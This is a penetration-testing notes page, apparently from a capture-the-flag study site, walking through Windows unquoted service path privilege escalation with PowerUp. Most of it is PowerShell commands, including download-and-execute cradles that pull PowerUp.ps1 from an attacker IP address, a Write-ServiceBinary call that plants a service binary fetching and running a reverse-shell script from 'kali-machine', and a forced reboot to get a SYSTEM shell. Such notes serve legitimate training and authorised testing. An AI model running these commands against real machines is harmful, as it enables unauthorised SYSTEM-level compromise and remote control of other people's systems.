> For the complete documentation index, see [llms.txt](https://htb.linuxsec.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://htb.linuxsec.org/active-directory/privilege-escalation/unquoted-service-path.md).
# Unquoted Service Path
In simple terms, when a service is created whose executable path contains spaces and isn't enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges (only if the vulnerable service is running with SYSTEM privilege level which most of the time it is).
### Manual Checks
Check service without quotes:
{% code overflow="wrap" %}
```powershell
Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName | fl
```
{% endcode %}
### Unquoted Service Path with PowerUp
First, import PowerUp.ps1 to memory.
{% code overflow="wrap" %}
```powershell
iex ((New-Object Net.WebClient).DownloadString('http://192.168.45.243/OSEP/powershell/PowerUp.ps1'))
```
{% endcode %}
Then, check for privilege escalation vectors using this command:
```powershell
Invoke-AllChecks | fl
```
Alternatively, for checking unquoted service paths specifically, use this command:
{% code overflow="wrap" %}
```powershell
Get-UnquotedService | fl
```
{% endcode %}
Example output:
Vulnerable Service
For detail information about the vulnerable service, use this command:
```powershell
Get-ServiceDetail -Name IObitUnSvr | Select-object *
```
Service Details
Now, for abusing the service, you can use Write-ServiceBinary command:
{% code overflow="wrap" %}
```powershell
Write-ServiceBinary -Name IObitUnSvr -Path "C:\Program Files (x86)\IObit\IObit.exe" -Command "powershell iex ((New-Object Net.WebClient).DownloadString('http://kali-machine/revshell.ps1'))" | fl
```
{% endcode %}
Write-ServiceBinary
Basically, the above command will replace the original files with a malicious file that contains a reverse shell command.
If you have ability to restart the service, you can run:
```powershell
Stop-Service -Name 'IObitUnSvr'
Start-Service -Name 'IObitUnSvr'
```
But, since you don't have the privilege to restart the service (CanRestart = False), you can reboot the machine since the service is set to autostart.
```bash
shutdown -r -t 0
```
Now, your netcat listener will have a session with the NT\SYSTEM user.
